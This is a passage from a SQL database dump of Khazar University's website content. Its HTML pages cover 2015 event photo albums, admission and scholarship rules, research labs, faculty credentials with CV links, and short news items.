href=\"https://www.facebook.com/media/set/?set=a.1109065645770506.1073742116.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.11.2015&nbsp;Chinese culture pearls&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1107734719236932.1073742113.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.11.2015 Head of office of the Estonian Embassy in Baku (<a href=\"https://www.facebook.com/media/set/?set=a.1108614419148962.1073742114.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.11.2015 P&amp;G orientation day (<a href=\"https://www.facebook.com/media/set/?set=a.1107734719236932.1073742113.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.11.2015 Entrance examination to Doctorate&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1107667995910271.1073742112.799143400096067&amp;type=3\">FOTO</a>)</p><p>22.11.2015 Media training (<a href=\"https://www.facebook.com/media/set/?set=a.1107207015956369.1073742111.799143400096067&amp;type=3\">FOTO</a>)</p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;-&nbsp;Foreign languages&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1107196855957385.1073742110.799143400096067&amp;type=3\">FOTO</a>)<br><p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;-Natural Sciences (<a href=\"https://www.facebook.com/media/set/?set=a.1107196282624109.1073742109.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;-&nbsp;Social Sicences (<a href=\"https://www.facebook.com/media/set/?set=a.1107195672624170.1073742108.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.11.2015 Training course on preparation and evaluation of textbooks&nbsp;- Math and İnformatics&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1107195105957560.1073742107.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.11.2015&nbsp;Training course on preparation and evaluation of textbooks&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1103440156333055.1073742082.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.11.2015 Training course on preparation and evaluation of textbooks&nbsp;- Opening (<a href=\"https://www.facebook.com/media/set/?set=a.1103435856333485.1073742081.799143400096067&amp;type=3\">FOTO</a>)</p><p>20.11.2015 Theory of&nbsp;ray gravitation(<a href=\"https://www.facebook.com/media/set/?set=a.1106328189377585.1073742105.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.11.2015 Azarsun (<a href=\"https://www.facebook.com/media/set/?set=a.1104832806193790.1073742094.799143400096067&amp;type=3\">FOTO</a>)16.11.2015 Gabrielle Stravelli (<a href=\"https://www.facebook.com/media/set/?set=a.1104825756194495.1073742088.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Nizami saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102104336466637.1073742072.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Huseyn saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102117356465335.1073742080.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Vadjah saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102115966465474.1073742079.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Sevinc saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102114603132277.1073742078.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Sabina saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102114089798995.1073742077.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Nizami saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102112606465810.1073742076.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Nigar saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102110919799312.1073742075.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Ismat saw it&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1102110516466019.1073742074.799143400096067&amp;type=3\">FOTO</a>)</p><p>08.11.2015&nbsp;Botanical garden - as Farid saw it (<a href=\"https://www.facebook.com/media/set/?set=a.1102109603132777.1073742073.799143400096067&amp;type=3\">FOTO</a>)</p><p>06.11.2015&nbsp;Textbooks Training (<a href=\"https://www.facebook.com/media/set/?set=a.1099746720035732.1073742071.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.11.2015&nbsp;Virtual Garabagh (<a href=\"https://www.facebook.com/media/set/?set=a.1099735430036861.1073742070.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>05.11.2015&nbsp;Newton\'s laws and Gravitation (<a href=\"https://www.facebook.com/media/set/?set=a.1099732730037131.1073742069.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>05.11.2015&nbsp;Biological and Environmental Sciences and Technologies (<a href=\"https://www.facebook.com/media/set/?set=a.1099247710085633.1073742068.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>04.11.2015&nbsp;General meeting of Religions and Cultures department (<a href=\"https://www.facebook.com/media/set/?set=a.1099219640088440.1073742067.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>04.11.2015 The problem of Personality in Azerbaijani public and pedagogical opinion (<a href=\"https://www.facebook.com/media/set/?set=a.1099217740088630.1073742066.799143400096067&amp;type=3\">PHOTOS</a>)</p><p>02.11.2015&nbsp;Approved consert program (<a href=\"https://www.facebook.com/media/set/?set=a.1098349223508815.1073742064.799143400096067&amp;type=3\">PHOTOS</a>)</p>'),(29,32,'en','Graduate Admission','Graduate Admission','<p>Azerbaijani citizens must submit the following documents:</p><p><strong>Application &amp; Admission for Graduate Students</strong></p><ul><li>Official graduate test score from the Government Examination Center</li><li>Copies of previous diplomas and transcripts</li><li>Official Application Form of Khazar University</li><li>Copy of Identity Card</li></ul><p>Nationals of other countries can directly apply to the University from their home countries. Different documents&nbsp;may be required for nationals of different countries, therefore prospective international students should contact&nbsp;the<strong>&nbsp;<a href=\"http://www.khazar.org/en/menus/495/international_admissions\">International Affairs Office</a></strong>&nbsp;for details.</p>'),(2933,1742,'az','Iyun','Iyun',''),(2934,1742,'en','June','June',''),(2935,1743,'az','Iyul','Iyul',''),(2936,1743,'en','July','July',''),(30,28,'en','Financial Aid','Financial Aid','<p>Khazar University provides merit and need based scholarships, and/or loans for:</p><p></p><ul><li>Those who obtain high scores on the entrance examination</li><li>Those whose parents are the employees of Khazar</li><li>Those (two or more) from the same family</li><li>Those whose ability to pay tuition fees is negatively affected by certain unpredictable circumstances (e.g. death of a parent)</li><li>Those who are in extreme need of financial aid</li></ul><p></p><p>Named scholarships are generated from gifts donated by various individuals or organizations/companies.</p><p>For example, the \"Zaur Nazarli\" scholarship is extended to high-standing students of the School of Economics and Management</p><p>(Zaur Nazarli was a graduate of the School who died tragically in his young years).</p><p>Similarly, BP and the Consolidated Supply Management program have scholarships for Khazar\'s Petroleum Engineering students.</p><p>Loans allow the students to postpone payment of a part of their tuition fee for a specific period of time.</p><p>The University Students Loans Committee is responsible for loan procedures.</p><p>Graduate students of Khazar may apply for assistantships or fellowships in order to receive financial aid from the university.</p><p><strong>IB Diploma Scholarship</strong></p><p>Khazar University recognizes that students who have earned the IB diploma are ideally prepared for university studies. Applicants to all Khazar University undergraduate programs who have successfully completed the IB diploma with a score of 28 or higher are given a&nbsp;<strong>scholarship covering their full tuition</strong>&nbsp;for one semester during their studies at Khazar University.&nbsp;Applicants&nbsp;with scores of 36-40 are given a&nbsp;<strong>scholarship covering their full tuition for one year</strong>&nbsp;(two semesters). Applicants with scores of 41 or higher are given a&nbsp;<strong>full scholarship covering their tuition during their whole bachelor degree</strong>&nbsp;program.&nbsp;</p>'),(31,30,'en','Prospective students','Prospective students','<p><strong>Prospective students for undergraduate programs</strong></p><p>In order to receive admission to undergraduate programs, prospective students who are Azerbaijan nationals must submit the following documents:&nbsp;</p><ul><li>Official undergraduate test score from the State Student Admission Commission of Azerbaijan;&nbsp;</li><li>Official application of Khazar University.&nbsp;</li><li>Nationals of other countries can directly apply to the university from their home countries.</li></ul><p>Different documents may be required for nationals of different countries, therefore&nbsp;prospective international students should contact the&nbsp;<a href=\"http://international.khazar.org\"><strong>International Affairs Office</strong></a>&nbsp;for details.</p><p><strong><br></strong></p><p><strong>Prospective students for graduate programs</strong></p><p>In order to gain admission to graduate programs, Azerbaijan nationals must submit the following documents:&nbsp;</p><ul><li>Official graduate test score from the State Student Admission Commission of Azerbaijan;</li><li>Copies of previous diplomas and transcripts;</li><li>Official application of Khazar University.</li></ul><p>Nationals of other countries can directly apply to the university from their home countries.</p><p>Different documents may be required for nationals of different countries,&nbsp;therefore prospective international students should contact the&nbsp;<a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International Affairs Office</a>&nbsp;for details.</p>'),(32,31,'en','General Rules and Procedures','General Rules and Procedures','<div><br></div><div><br></div><h4>General Rules and Procedures  <br></h4>'),(33,33,'en','Research Centers and Labs','Research Centers and Labs','<p>Khazar University hosts the research centers and institutes\r\nembracing humanities and social sciences, engineering and technology. These\r\ncenters and institutes are the focus point for collaborative research efforts\r\nacross the schools and departments.</p>\r\n<p><a href=\"http://technopark.khazar.org/?page_id=32\">Technopark</a></p>\r\n<p>Eurasia Production Industry Knowledge Center</p>\r\n<p>Institute of Education Policy</p>\r\n<p>Khazar Computing Research Center</p>\r\n<p>Translation Studies Center</p><p>Laboratories of the university supplied with cutting-edge\r\nequipment create a unique atmosphere for study and research where theoretical\r\nknowledge is applied in practice and their number is continuously increasing.\r\nThe education process at the university is facilitated through the following\r\nlabs and workshops:</p>\r\n<p><strong>Laboratory of\r\nElectronics and Telecommunication</strong></p>\r\n<p>Renewable Energy</p>\r\n<p>Bio-medical Engineering Laboratory</p>\r\n<p>Oil and Gas Fields Simulation Laboratory</p>\r\n<p>Oil and Gas Engineering Laboratory</p><p><strong>Civil Engineering Laboratory</strong></p>\r\n<p>Biology Laboratory</p>\r\n<p>Physics Laboratory</p>\r\n<p>Chemistry Laboratory</p>\r\n<p>Carpet workshop</p>\r\n<p>Jewelry workshop</p>'),(511,334,'en','Departments','Departments','<p><a href=\"http://www.khazar.org/en/menus/126/education\"><strong>Education</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/117/azerbaijani_language_and_literature\"><strong>Azerbaijani Language and\r\nLiterature</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/129/geography_and_environment\"><strong>Geography Environmental\r\nSciences</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/en/menus/119/biological_sciences\"><strong>Biological Sciences</strong></a></p>'),(512,334,'az','Departamentlər','Departamentlər','<p><a href=\"http://www.khazar.org/az/menus/126/tehsil\"><strong>Təhsil</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/117/azerbaycan_dili_ve_edebiyyati\"><strong>Azərbaycan dili və ədəbiyyatı</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/129/coghrafiya_ve_etraf_muhit\"><strong>Coğrafiya</strong></a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/119/bioloji_elmler\"><strong>Bioloji elmlər</strong></a><a href=\"http://www.khazar.org/section.php?id=523\"></a></p>'),(513,335,'en','Faculty and Staff','Faculty and Staff','<p><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli.pdf\">Hamlet A. Isakhanli</a> (D.S., Professor)&nbsp;</p>\r\n<p>D.S. (Doctor of Science) in Mathematics, V.A. (Steklov Institute of Mathematics, Soviet Academy of Science, Moscow)</p><p>Ph.D. in Mathematics, Institute of Mathematics, Academy of Science of Azerbaijan and Faculty of Mathematics and Mechanics, (Lomonosov Moscow State University )<br></p><p>Combined B.S. and M.S. Program in Mathematics, Honors Diploma; (Department of Mathematics and Mechanics, Azerbaijan State University, Baku )</p>\r\n<p>Research interests: Mathematics. Education.\r\nLiterature. History of Science and Ideas. History of Culture and Education.\r\nTranslation Studies.</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Revan_Rahimov_CV.pdf\">Revan Rehimov</a> (Ph.D. Associate Professor)&nbsp;</p>\r\n<p>Ph.D. in Chemistry&nbsp;(Institute of Azerbaijan National\r\nAcademy of Sciences, Azerbaijan)</p><p>M.S.&nbsp;in Chemistry ,&nbsp;Excellent (Red Diploma)   (Department of Chemistry,\r\nBaku State University)</p>\r\n<p>Research interests: Organic synthesis,\r\nEcological chemistry (synthesis of novel surfactants and their application for\r\nremoval of the petroleum films)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Dilber_ZeynalovaAZ.pdf\">Dilbar Zeynalova</a>&nbsp;(Ph.D., Associate\r\nProfessor)&nbsp;<a href=\"http://www.khazar.org/files/Dilber_ZeynalovaAZ.pdf\"></a></p>\r\n<p>Ph.D. in&nbsp;(Azerbaijan University of\r\nLanguages, Azerbaijan)</p><p>Combined B.S. and M.S. Program in Russian Language and Literature&nbsp;add pedagogy ( Baku Slavic University)</p>\r\n<p>Research interests: Literature, Translation,\r\nCulture, Education</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza Semedli</a>&nbsp;(Ph.D., Associate\r\nProfessor)&nbsp;<a href=\"http://www.khazar.org/files/CV%20Elza%20Semedli%20(1).pdf\"></a></p>\r\n<p>Ph.D.&nbsp;in Philology&nbsp;(Selcuk University,\r\nInstitute of Social Sciences, Turkey)&nbsp;</p><p>M.S. in Philology (Institute of Social Sciences, Erciyes University, Turkey)</p>\r\n<p>Research interests: Historical And Modern\r\nTurkic Dialects, Literature, Linguistics, Education, Culture</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\">Vurgun Eyyub</a>&nbsp;(Ph.D.,\r\nAssociate Professor)&nbsp;Vurgun\r\nEyyub&nbsp;</p><p>Ph.D.&nbsp;in Philology (National&nbsp;Academy of Science of Azerbaijan)<a href=\"http://www.khazar.org/files/CV_Vurgun%20Eyyub_az.pdf\"></a></p><p>Combined B.S. and M.S. Program in faculty of Azerbaijan language and Literature (Azerbaijan State Pedagogical University&nbsp;)<br></p>\r\n<p>Research Interests: Azerbaijan Literature,\r\nTheory of Literature, Azerbaijani Prose, Folklore, Education, Education Policy,\r\nSocial Research</p>\r\n<p>Research interests: literature, teaching\r\nmethods,&nbsp;Azerbaijani Prose,&nbsp;Folklore, Education, Education Policy</p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Araz_Aslan_CV%20(3).pdf\">Araz&nbsp;Aslanli</a> (Ph.D. Associate Professor)&nbsp;<a href=\"http://www.khazar.org/files/Araz_Aslan_CV%20(3).pdf\"></a></p>\r\n<p>Ph.D. in International Relations&nbsp;(Ankara University:\r\nInstitute of Social Sciences,Turkey)</p><p>M.S. in Management (Ankara University)</p>\r\n<p>Research interests: Foreign policy of Turkey,\r\nPolitical and Economic Geography of World Countries.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Reyhan_Madatova_az.pdf\">Reyhan Madatova</a> (Ph.D. in\r\nPhilology)&nbsp;<a href=\"http://www.khazar.org/files/CV_Reyhan_Madatova_az.pdf\"></a></p>\r\n<p>Ph.D. in Philology&nbsp;(Azerbaijan National Academy of\r\nSciences, Institute of&nbsp;linguistics, Azerbaijan)</p><p>Combined B.S. and M.S. Program in Philology (Baku State University)<br></p>\r\n<p>Research interests: Linguistics, History of\r\nLinguistics, Phonology</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/education/Irada_Khalilova_CV.pdf\">Irada&nbsp;Khalilova</a></p><p>Ph.D. in Biological\r\nSciences,&nbsp;Division of Allergology &amp; Immunology (Medical University,\r\nBaku, Azerbaijan )</p><p>Combined B.S. and M.S.\r\nProgram&nbsp;in&nbsp;Biology,&nbsp;Division of Biophysics &amp; Molecular\r\nBiology (Azerbaijan State University, Baku Azerbaijan)</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/CV%20Yegane%20Gozelova_engl.pdf\">Yegana Gozalova </a>(Ph.D., Associate\r\nProfessor)&nbsp;</p><p>Ph.D. in History (Azerbaijan Academy of Sciences)</p><p>Combined B.S. and M.S. Program&nbsp;in History (Baku State University)</p><p>Research Interests: Medieval history,\r\nInternational relations in the&nbsp;Medieval history</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Rovshan%20Abbasov._CV.pdf\">Rovshan Abbasov</a> (Ph.D. in Geography)&nbsp;</p>\r\n<p>Ph.D. in Geography ( Baku State University)</p><p>Combined B.S. and M.S. Program&nbsp;in Geography (Baku State University)<br></p>\r\n<p>Research interests: Geography of Azerbaijan,\r\nWorld Geography, Envionmental managment and economy, Health, safety and environment</p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Mushfig_Orujov_CV.pdf\">Mushvig Orujov</a>&nbsp;(Ph.D., Assistant Professor)&nbsp;</p>\r\n<p>Ph.D. in&nbsp;Medical Sciences on Histology,\r\nCytology and Cell Biology,&nbsp;Department of Histology, Embryology and\r\nCytology (Azerbaijan Medical University , Baku)</p><p>Combined B.S. and M.S. Program&nbsp;in  Physician,\r\nFaculty of Medicine, Honor diploma (Azerbaijan Medical University , Baku)<br></p>\r\n<p>Research interests: Ultrastructure of\r\nthe sheath, vascular, glial and nervous elements in the cns, Optic Nerve and\r\nPNS in norm and at a pathology; Ultrastructure of the blood-brain, blood-nerve,\r\nespecially blood-optic nerve barriers; circulation and drainage of\r\nCerebrospinal Fluid, Electron Microscopy and Immunohistochemical investigation\r\nof Nervous System; Pathohistological investigation of Skin Diseases.</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Seadet_Khudaverdiyeva%20CV.pdf\">Seadet Khudaverdiyeva</a> (Ph.D., Associate Professor)&nbsp;</p><p>Ph.D. in Biophysics and Ecology&nbsp;</p>\r\n<p>Research Interests: Biology, Genetics,\r\nMicrobiology</p>\r\n<p>&nbsp;</p><p><a href=\"http://www.khazar.org/files/education/Elmira_Mammadova_Kekech.pdf\">Elmira Mammadova&nbsp;Kekech</a>&nbsp;(Ph.D. in Philology)&nbsp;</p><p>Ph.D. in Literature of Turkic People&nbsp;( Azerbaijan National Academy of\r\nScience )<a href=\"http://www.khazar.org/files/Elmira%20M%C9%99mm%C9%99dova.pdf\"></a></p><p>M.S. in Philology (Baku State University)</p>\r\n<p>Research interests:&nbsp;Turkic Studies,\r\nworld literature</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Konul%20Mahyaddinova.pdf\">Konul Mahiyaddinova</a> (Ph.D. in General\r\nPedagogy)&nbsp;</p><p>Ph.D. in&nbsp;General Pedagogy\r\n(Azerbaijan Teachers Institute, Baku Slavic University)</p><p>M.S. in&nbsp;Theory and\r\nHistory of\r\nPedagogy (Baku Slavic University)</p>\r\n<p>Research Inerests:&nbsp;General pedagogy,\r\nhistory of pedagogy and education</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Rukhsara%20Guliyeva.pdf\">Rukhsara Guliyeva</a> (PhD in History)&nbsp;<a href=\"http://www.khazar.org/files/Rukhsara%20Guliyeva.pdf\"></a></p>\r\n<p>Ph.D. in&nbsp;History&nbsp;(Azerbaijan National Academy of Sciences)</p><p>M.S. in&nbsp;Ancient\r\nand Medieval History (Baku State\r\nUniversity)</p>\r\n<p>Research Interests: History</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Rashad_Khaligov_.CV.pdf\">Rashad Khaligov</a>&nbsp;(M.A. in Computer Science)</p>\r\n<p>Ph.D. in Computer Science (Khazar University, Azerbaijan)</p><p>M.S. in&nbsp;Development and Conception of secure software&nbsp;(Université de Franche-Comté,\r\nFrance)</p><p>Research interests: Hardeware and software\r\nsolutions management components</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Mukhtarova%20Gulbeniz.pdf\">Gulbeniz Mukhtarova</a> (Doc. Ph.D.)&nbsp;</p><p>Ph.D. in Chemistry (&nbsp;National Academy of Sciences of Azerbaijan)</p><p>M.S. in Chemistry (Gazi University,&nbsp;Ankara, Turkey)</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Khalid%20Mukhtarov%20CV.pdf\">Khalid\r\nMukhtarov</a>&nbsp;(Ph.D. in Geography)</p><p>Ph.D. in Geography&nbsp;(&nbsp;National Academy of Sciences of Azerbaijan)  </p><p>Combined B.S. and M.S. Program&nbsp;in Geography (Baku State University)<br></p><p>Research:&nbsp;Meteorology, Hydrology, Disaster risk reduction, hydrology, climate changes, forecasting, meteorological observations.&nbsp;</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Sevinc%20Allahverdiyeva%20cv.pdf\">Sevinj&nbsp;Allahverdiyeva</a>&nbsp;</p><p>M.A. in German Languages&nbsp;(Azerbaijan University of Language)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Rafiq%20Yolchuyev.pdf\">Rafiq Yolchuyev</a>&nbsp;</p><p>M.A. in Business Administration (Khazar University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Ulkar_Bayramova.pdf\">Ulkar&nbsp;Bayramova</a>&nbsp;</p><p>Ph.D. student&nbsp;in&nbsp;Project Management (Tallinn University. Estonia)</p><p>M.A. in Pedagogy (Lankaran State University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV%20OQTAY%20QUL%23U0130YEV.pdf\">Oqtay&nbsp;Quliyev</a>&nbsp;</p><p> Ph.D. in Marketing&nbsp;(Sakarya University, Turkey)<a href=\"http://www.khazar.org/files/CV%20OQTAY%20QUL%C4%B0YEV.doc\"></a></p><p>M.A. in Marketing (Sakarya University, Turkey)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Cafarov%20Huseyn.pdf\">Huseyn Cafarov</a></p><p>M.A. in&nbsp;Biochemistry and Biotechnology (Baku State University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Khuraman%20Nagizadeh.pdf\">Khuraman\r\nNagizadeh</a>&nbsp;</p><p>Ph.D. in Pedagogy (Azerbaijan Institute of Teachers)</p><p>MA in Methodology of Elementary Education (Specialization and increase the Pedagogical the İnstitute of retraining)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Terane_Isayeva_cv%20.pdf\">Tarana İsayeva</a>&nbsp;</p><p>Ph.D. in Pedagogy&nbsp;(National Academy of Sciences of Azerbaijan)  <a href=\"http://www.khazar.org/files/Tarana%20%C4%B0sayeva.doc\"></a></p><p>Combined B.S. and M.S. Program&nbsp;in History (&nbsp;Azerbaijan State Pedagogical University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Eynur%20Mehdiyev%20CV.pdf\">Eynur Mehdiyev</a></p><p><span class=\"Apple-tab-span\" style=\"white-space:pre\"></span></p>\r\n<p>M.A. in&nbsp;English Language Teaching (Coventry University, Coventry,&nbsp;United Kingdom)  </p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Tarlan_Garayev_CV.pdf\">Tarlan Garayev</a>&nbsp;</p><p>Ph.D. student in Mathematics (Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)</p><p>M.A. in Mathematics (Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Ibrahim_Nabiyev_CV.pdf\">Ibrahim Nabiyev</a>&nbsp;(Doctor of Science)</p><p><a href=\"http://www.khazar.org/files/education/Ibrahim_Nabiyev_CV.pdf\"></a>Ph.D. in Mathematics&nbsp;(Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)</p><p>M.A. in Mathematics (Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)<br></p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Cavidan_Aliyev_CV_.pdf\">Javidan Aliyev</a>&nbsp;</p><p>M.A. in&nbsp;Meteorological forecasts (Russian State Hydrometeorological\r\n University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Goshgar_Maharramov_CV_.pdf\">Goshgar Maharramov</a>&nbsp;</p><p>Ph.D. in&nbsp;Supervision, Planning and Economics (Eskişehir Osmangazi University)</p><p>M.A. in&nbsp;Philosophy of Education (Ankara University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/NAZ%C4%B0M_K%C6%8FR%C4%B0MOV_cv_.pdf\">Nazim Karimov</a>&nbsp;(Ph.D., Associate Professor)</p><p>&nbsp;Ph.D. in Differensial Equations (Moscow State University)</p><p>M.A. in Mathematics (Baku State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Aysel_Heydarova.pdf\">Aysel Heydarova</a></p><p>M.A.&nbsp;in Biotechnology (Norwegian Science and Technology University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Aytac_Salimova_CV.PDF\">Aytaj Salimova</a></p><p>M.A.&nbsp;in Psychology,&nbsp;Developmental Psychology (Baku State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Gulafat%20Shafiyeva.pdf\">Gulafat Shafiyeva</a></p><p><a href=\"http://www.khazar.org/files/education/Gulafat%20Shafiyeva.pdf\"></a>Ph.D. student in Biology (Khazar University)</p><p>M.S. in Biology (Lankaran State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Parvana_Salmanova.pdf\">Parvana Salmanova</a></p><p><a href=\"http://www.khazar.org/files/education/Parvana_Salmanova.pdf\"></a>M.S. in Computer Science (Baku State University)</p><p>B.S. in Applied Mathematics (Baku State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Gatiba_Makhmudova.pdf\">Gatiba Makhmudova</a></p><p><a href=\"http://www.khazar.org/files/education/Gatiba_Makhmudova.pdf\"></a>Ph.D. in Turkic languages (Azerbaijan National Academy of Science)</p><p>M.A. in Linguistics (Azerbaijan State Pedagogical University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Tunzala_Seyfullayeva.pdf\">Tunzala Seyfullayeva</a></p><p><a href=\"http://www.khazar.org/files/education/Tunzala_Seyfullayeva.pdf\"></a>Ph.D. in Literature of Turkic people (Azerbaijan National Academy of Science)</p>'),(6417,3644,'en','An article by a PhD candidate published','Dr. Nazila Pour Khalili, a PhD candidate and researcher in the field of Biochemistry joined...','<p>Dr. Nazila Pour Khalili, a PhD candidate and researcher in the field of Biochemistry joined Khazar University in the Fall Semester of 2017. Prior to joining Khazar University, she has published multiple articles in well-known ISI journals and participated in various research projects in the past during her research activities at the Tehran University of Medical Sciences (TUMS), Saban Research Institute of Children\'s Hospital Los Angeles (USC) and the Medical University of Vienna. Her recent publication titled “<em>Bisphenol A: What lies beneath its induced diabetes and the epigenetic modulation?</em>” was just published in the Elsevier Journal of LIFE SCIENCES.</p><p>Please use the following links to get more information about the scientific journal and published article:</p><p><a href=\"https://www.journals.elsevier.com/life-sciences\">https://www.journals.elsevier.com/life-sciences</a></p><p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0024320518306696\">https://www.sciencedirect.com/science/article/abs/pii/S0024320518306696</a></p><p><strong><br></strong></p><p><strong>Graphical abstract:</strong></p><p><a href=\"http://khazar.org/files/letters/graphical_abstract.jpg\"></a><a href=\"http://khazar.org/files/letters/graphical_abstract.jpg\" target=\"_blank\"><img src=\"/files/letters/graphical_abstract.jpg\" style=\"width:200px;height:281px\"></a><br></p><p><br></p>'),(1858,1144,'az','ABŞ Səfirliyi “Imagine” komandasını təbrik etdi','2016-cı il mayın 24-də ABŞ-ın Azərbaycandakı Səfirliyi öz rəsmi Facebook səhifəsində Xəzər Universitetinin “Imagine” komandasını qələbə münasibətilə təbrik etdi:','<p>2016-cı\r\nil mayın 24-də ABŞ-ın Azərbaycandakı Səfirliyi öz rəsmi <strong><em>Facebook</em></strong> səhifəsində Xəzər\r\nUniversitetinin “Imagine” komandasını qələbə münasibətilə təbrik etdi:</p>\r\n<p><a href=\"https://www.facebook.com/baku.usembassy/\">https://www.facebook.com/baku.usembassy/</a>&nbsp;&nbsp;</p>'),(1859,1144,'en','US Embassy Congratulates Imagine Team','On May 24, 2016, the US Embassy to Azerbaijan posted on its official Facebook page to congratulate Khazar University’s Imagine Team on its recent victory:','<p>On May\r\n24, 2016, the US Embassy to Azerbaijan posted on its official Facebook page to\r\ncongratulate Khazar University’s Imagine Team on its recent victory: </p>\r\n<p><a href=\"https://www.facebook.com/baku.usembassy/\">https://www.facebook.com/baku.usembassy/</a>&nbsp;&nbsp;</p>'),(34,34,'en','Journals / Periodicals','Journals / Periodicals','<p><strong>To support its research mission University publishes the\r\nhighest quality academic journals.</strong></p>\r\n<p><a href=\"http://jhss-khazar.org/\">Khazar Journal of\r\nHumanities and Social Sciences</a> is an open-access, peer-reviewed journal\r\nindexed by the Thomson Reuters Web of Science. The journal focuses on the\r\nresults of original research projects in various fields of History, Politics,\r\nInternational Relations, Education, Culture, History of Thoughts, Language and\r\nLiterature, Economics and Law, as well as in general Social Studies, Arts &amp;\r\nHumanities..&nbsp;</p>\r\n<p><a href=\"http://kjsat.com/\">Khazar&nbsp;Journal\r\nof&nbsp;Science&nbsp;and&nbsp;Technology</a> is a brand new peer-reviewed\r\nscholarly journal. It will be a source of cutting-edge, original research in a\r\nwide range of fields such as mathematics, physics, chemistry, biology, earth\r\nsciences, computer science, medicine, and all forms of engineering. The journal\r\nwill begin its publication in 